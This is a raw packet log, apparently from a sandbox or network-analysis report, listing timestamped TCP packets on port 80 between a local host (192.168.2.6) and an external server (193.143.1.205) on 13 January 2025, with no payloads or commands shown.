Jan 13, 2025 09:04:12.016750097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016755104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016789913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016803980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016814947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016824961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016835928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016845942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016849041 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016858101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016869068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016870975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016901016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019155025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019191980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019201994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019233942 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019237041 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019244909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019257069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019267082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019293070 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019351006 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019361973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019372940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019382954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019393921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019397020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019406080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019417048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019428015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019431114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019469023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019507885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019517899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019529104 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019539118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019550085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019558907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019562006 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019577980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019583941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019589901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019601107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019607067 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019613028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019629002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019639015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019646883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019650936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019661903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019673109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019685984 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019710064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019771099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019783020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019792080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019803047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019813061 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019824028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019840002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019850016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019851923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019860983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019871950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019881964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019881964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019893885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019906044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019906998 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019917965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019928932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019939899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019946098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019951105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019963026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019978046 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.019979954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.019990921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020001888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020008087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.020013094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020025015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020044088 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.020071030 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.020109892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020121098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020132065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020142078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020152092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020159960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.020164013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020175934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020184994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.020188093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020200014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020210028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020210981 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.020220995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020231962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.020236969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.020261049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.066467047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066536903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066540956 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.066575050 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066608906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066617012 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.066643953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066677094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066688061 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.066714048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066746950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066751003 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.066781998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066814899 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066826105 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.066848993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066881895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066890001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.066916943 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066951990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.066957951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.106678009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.106743097 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.106792927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.106806040 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.106843948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.106853008 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.106877089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.106919050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.106929064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.106961966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.106996059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107002020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107028961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107063055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107072115 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107110977 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107151031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107161045 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107193947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107228994 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107235909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107259035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107300043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107309103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107361078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107392073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107403994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107443094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107484102 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107491970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107525110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107563019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107575893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107630968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107660055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107671976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107711077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107753992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107763052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107815027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107852936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107863903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107897043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107929945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107938051 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.107961893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.107995033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108005047 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108050108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108088970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108098984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108149052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108185053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108190060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108242035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108282089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108290911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108324051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108356953 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108366966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108407974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108441114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108448029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108473063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108505964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108514071 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108537912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108577967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108587980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108619928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108652115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108659029 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108684063 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108716965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108726025 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108748913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108783007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108789921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108814955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108849049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108856916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108899117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108937979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.108947992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.108979940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109011889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109019995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109061003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109093904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109098911 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109126091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109158993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109165907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109190941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109225035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109231949 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109257936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109292030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109298944 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109324932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109359026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109366894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109394073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109427929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109435081 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109458923 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109492064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109494925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109525919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109558105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109565973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.109591007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109625101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.109632015 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.114924908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.114959002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.114988089 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.114991903 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115025043 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115039110 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.115060091 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115092039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115101099 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.115127087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115159988 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115169048 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.115194082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115228891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115236044 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.115262985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.115302086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.122956038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.128127098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.148967028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.148984909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.148997068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149007082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149017096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149025917 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149074078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149126053 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149252892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149271011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149281979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149307966 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149338007 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149354935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149365902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149375916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149377108 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149386883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149399996 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149405003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149418116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149427891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149436951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149446011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149456978 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149460077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149467945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149478912 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149487019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149490118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.149509907 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.149533033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.154666901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154685974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154695034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154735088 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154774904 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.154820919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.154839039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154849052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154860020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154871941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154887915 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154896975 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154896975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.154908895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154921055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154931068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154936075 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.154942989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.154963970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.154989958 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.154994011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.155005932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.155015945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.155040979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197379112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197392941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197403908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197415113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197426081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197436094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197446108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197462082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197469950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197473049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197484016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197500944 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197511911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197523117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197529078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197532892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197545052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197556019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197563887 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197568893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197591066 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197613001 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.197637081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197654009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197664022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197674036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197685003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.197695017 CET	80	49711	193.143.1.205	192.168.2.6
